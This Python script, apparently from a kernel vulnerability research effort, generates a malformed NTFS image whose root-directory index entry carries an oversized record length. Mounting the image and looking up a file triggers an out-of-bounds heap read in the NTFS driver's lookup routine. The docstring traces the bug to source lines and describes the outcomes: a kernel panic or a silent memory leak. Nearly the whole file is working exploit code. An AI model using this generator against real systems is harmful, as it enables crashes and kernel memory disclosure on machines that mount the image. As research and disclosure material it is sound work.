#!/usr/bin/env python3
"""
gen_ntfs_0791.py - Crafted NTFS image that triggers the unvalidated subnode-dive
OOB read in ntfs_ntlookupfile() (sys/vfs/ntfs/ntfs_subr.c:1006-1011).

DF-0791 root cause (confirmed by source trace):

  888:  rdbuf = kmalloc(blsize, M_TEMP, M_WAITOK);          // blsize = ir_size
  ...
  900:  for (; !(iep->ie_flag & NTFS_IEFLAG_LAST) && (rdsize > aoff);
  901:      aoff += iep->reclen,                              // <-- only entry-START guarded
  902:      iep = (struct attr_indexentry *) (rdbuf + aoff))
        { ... NTFS_UASTRICMP ... if (res > 0) break; ... }

  1006: /* Dive if possible */
  1007: if (iep->ie_flag & NTFS_IEFLAG_SUBNODE) {
  1010:     cn = *(cn_t *) (rdbuf + aoff +                    // aoff = uint32
  1011:             iep->reclen - sizeof(cn_t));              // reclen = uint16 from disk
                                                             // sizeof(cn_t) = 8 (u_int64_t)
        ... ntfs_readattr(... ntfs_cntob(cn) ...) ...

iep->reclen is a raw u_int16_t read directly off disk with NO bounds validation:
  - if reclen is large, aoff+reclen-8 blows past the kmalloc(blsize) buffer =>
    an 8-byte heap OOB read into cn (CWE-125). With reclen=0xFFFF the read lands
    ~65 KB past a 4 KB buffer -> crosses into unmapped pages -> kernel page fault
    (panic). A modest overshoot stays in adjacent mapped slab -> silent info leak.

Trigger path (unprivileged after a root mount):
  stat /mnt/ntfs/a   ->  namei  ->  VOP_LOOKUP(rootdir,"a")
      -> ntfs_lookup (ntfs_vnops.c:712) -> ntfs_ntlookupfile
      -> INDEX_ROOT walk; entry "zzzzzz" sorts after "a" => res>0 => break
      -> iep->ie_flag & NTFS_IEFLAG_SUBNODE => dive => OOB cn read

The malformed reclen is only consulted at the dive (we break out of the for-loop
before ever advancing aoff by reclen), so the rest of the walk is irrelevant.
Note: ntfs_ntlookupattr (DF-0786's path) is NOT entered for a plain name lookup
(no ":attr" spec), so the sibling lockmgr/overflow bug does not block this path.

Output: ntfs_0791.img - root dir (ino 5) INDEX_ROOT holds one index entry
        ("zzzzzz", SUBNODE flag, reclen = 0xFFFF).
"""
import struct, sys, os

HERE = os.path.dirname(os.path.abspath(__file__))
SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py')
sys.path.insert(0, os.path.dirname(SIBLING))
import importlib.util
spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING)
gen_ntfs = importlib.util.module_from_spec(spec)
spec.loader.exec_module(gen_ntfs)

CLUS = gen_ntfs.CLUS
MFTCN = gen_ntfs.MFTCN
MFTRECBYTES = gen_ntfs.MFTRECBYTES
NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS
NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT
NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR

NTFS_IEFLAG_SUBNODE = 0x00000001   # ntfs.h:167
NTFS_IEFLAG_LAST    = 0x00000002   # ntfs.h:168


def make_index_entry_subnode(fname_str, reclen_override):
    """Build an attr_indexentry with NTFS_IEFLAG_SUBNODE set and an attacker-
    chosen reclen (the on-disk field used blindly by the dive read)."""
    fname_w = gen_ntfs.wstr(fname_str)
    fnamelen = len(fname_str)
    fixed = 82                              # fixed part of attr_indexentry
    entry_size = (fixed + len(fname_w) + 7) & ~7   # 8-byte aligned real footprint
    e = bytearray(entry_size)
    struct.pack_into('<I', e, 0, 0)                 # ie_number (unused)
    struct.pack_into('<I', e, 4, 0)                 # unknown1
    struct.pack_into('<H', e, 8, reclen_override)   # ie reclen  <-- MALFORMED
    struct.pack_into('<H', e, 10, entry_size)       # ie_size
    struct.pack_into('<I', e, 12, NTFS_IEFLAG_SUBNODE)  # ie_flag = SUBNODE
    struct.pack_into('<I', e, 16, 5)                # ie_fpnumber (parent=root)
    struct.pack_into('<Q', e, 56, 0)                # ie_fallocated
    struct.pack_into('<Q', e, 64, 0)                # ie_fsize
    struct.pack_into('<Q', e, 72, 0)                # ie_fflag
    e[80] = fnamelen                                # ie_fnamelen
    e[81] = 0                                       # ie_fnametype (POSIX)
    e[82:82 + len(fname_w)] = fname_w               # ie_fname
    return bytes(e)


def make_index_root_evil(reclen_override):
    """INDEX_ROOT ($I30) data: header + a single SUBNODE entry 'zzzzzz' with a
    malformed reclen, then a LAST terminator entry."""
    iroot = bytearray(32)                       # struct attr_indexroot
    struct.pack_into('<I', iroot, 0, 0x30)      # ir_unkn1
    struct.pack_into('<I', iroot, 4, 0x01)      # ir_unkn2
    struct.pack_into('<I', iroot, 8, CLUS)      # ir_size = blsize (4096)
    struct.pack_into('<I', iroot, 12, 1)
    struct.pack_into('<I', iroot, 16, 0x10)
    struct.pack_into('<I', iroot, 20, 0)        # ir_datalen (patched below)
    struct.pack_into('<I', iroot, 24, 0)        # ir_allocated
    struct.pack_into('<H', iroot, 28, 1)        # ir_flag
    struct.pack_into('<H', iroot, 30, 0)

    evil = make_index_entry_subnode("zzzzzz", reclen_override)
    # terminator entry (LAST flag). reclen can be small; it is never advanced
    # into because the walk breaks on the evil entry first.
    last = gen_ntfs.make_index_entry("", ino_num=0, flag=NTFS_IEFLAG_LAST)

    data = bytes(iroot) + evil + last
    data = bytearray(data)
    struct.pack_into('<I', data, 20, len(data))   # ir_datalen = rdsize
    struct.pack_into('<I', data, 24, len(data))   # ir_allocated
    return bytes(data)


def build_mft_record_5_evil(reclen_override):
    """ino 5 (root dir): resident $INDEX_ROOT ($I30) holding the malformed entry."""
    iroot_data = make_index_root_evil(reclen_override)
    attr = gen_ntfs.make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30")
    return gen_ntfs.make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1)


def build_image(reclen_override):
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = gen_ntfs.build_mft_record_0()
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = build_mft_record_5_evil(reclen_override)   # <-- corrupted root dir
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase
    return bytes(img)


def main():
    reclen = 0xFFFF
    out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs_0791.img'
    if len(sys.argv) > 2:
        reclen = int(sys.argv[2], 0)
    img = build_image(reclen)
    with open(out, 'wb') as f:
        f.write(img)
    sys.stderr.write(
        f"[gen] wrote {out}: {len(img)} bytes; root-dir INDEX_ROOT entry "
        f"'zzzzzz' SUBNODE reclen={reclen} (0x{reclen:04x}); "
        f"dive read offset = aoff(32) + {reclen} - 8 = {32+reclen-8} "
        f"vs blsize={CLUS}\n")


if __name__ == '__main__':
    main()
